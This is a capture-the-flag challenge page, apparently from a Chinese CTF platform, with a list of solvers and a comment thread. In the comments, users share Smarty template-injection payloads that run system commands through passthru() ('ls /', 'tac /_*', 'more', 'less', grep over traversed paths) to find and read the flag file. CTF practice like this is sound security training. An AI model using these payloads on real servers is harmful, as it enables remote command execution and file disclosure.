评分(14)
解题动态
magning 攻破了该题 2小时前
全都拿下 攻破了该题 22小时前
noob11 攻破了该题 23小时前
风掠 攻破了该题 1天前
25456 攻破了该题 1天前
1柒1 攻破了该题 2天前
xuanbai 攻破了该题 2天前
qi1102 攻破了该题 2天前
Alter 攻破了该题 3天前
Amy 攻破了该题 3天前
CCC1112 攻破了该题 3天前
gc 攻破了该题 3天前
KN11 攻破了该题 5天前
世界你好 攻破了该题 7天前
小懒 攻破了该题 7天前
woshicaocao 攻破了该题 8天前
暗流安全 攻破了该题 9天前
小楼一夜听春雨 攻破了该题 9天前
能工智人 攻破了该题 9天前
评论
s1amese 3年前
举报
/?w={{passthru("ls /")}} /?w={{passthru("more /_数字文件名")}}
s1amese 3年前
举报
passthru执行函数查看(ls)，然后再查看列出的数字文件
gleason 3年前
举报
index.php?a={{passthru('more ../../../*|grep ff')}}
Whittebz 3年前
举报
{lf passthru("tac /_*")}{/if}
Vio1et 3年前
举报
哪位大神告诉我为什么{var_dump(`ls`)}不行
zdfy005 3年前
举报
https://blog.csdn.net/m_de_g/article/details/120380488
aWxvdmVjdGY 4年前
举报
?xxx={if passthru("less /_21752 ")}{/if}
笨笨笨蛋 4年前
举报
大佬们 你们都是怎么发现是什么模块注入的？TAT我好菜啊~~
kaikaixinxin 3年前
举报
随便传了个参数，就回显了php代码
websterchan 3年前
举报
小猿搜题
lysandria 4年前
举报
奇怪，tac不行，tail等可以。
miko 4年前
举报
smarty模板注入 看正则过滤内容 在最后查看flag的时候可以试试sort工具